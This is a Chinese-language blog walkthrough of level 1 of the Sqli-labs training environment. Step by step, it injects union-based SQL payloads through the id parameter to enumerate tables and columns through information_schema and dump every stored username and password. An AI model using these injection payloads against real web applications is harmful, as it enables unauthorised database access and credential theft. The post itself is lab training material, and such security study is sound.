Sqli-labs通关实况之第一关

发布时间 2023-10-10 13:13:46作者: Kevin_404notfound

Sqli-labs less-1

首先看题,提示你输入数字值的ID作为参数,我们输入?id=1,发现直接得到登录名和密码

输入的数值不同,回显内容也不同,所以输入的内容是带入到数据库里面查询了

接下来判断是字符型还是数字型

我们可以在数值1后面加上一个单引号和双引号来判断,先加入单引号看看。可以发现直接报错

我们再加入双引号看看,回显是正常的,证明存在字符型注入。此处引号变为%27,是因为这里使用了url编码导致的,后面的截图出现%开头的皆为url编码

此时我们可以使用order by语句来判断数据库存在多少列,我们先尝试输入order by 3 --+

此处--+为注释符。发现正常回显

我们再尝试输入order by 4 --+ 发现提示不存在第四列,证明数据库只存在三列

然后获取当前数据库名和版本号,输入?id=-1'union select 1,database(),version()--+,得到数据库名为security

接下来我们可以爆出显示位,输入?id=-1'union select 1,2,3--+

接下来,我们可以爆破表内容了,一般数据库的所有信息都在数据库information_schema里,

输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有emails。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

接下来爆列名,我们尝试爆破user表的列名,输入

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

发现账号和密码果然在这个表中,接下来我们就要得到该字段对应的内容,输入?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

至此得到所有账号和密码

编写人:Kevin
2023.10.10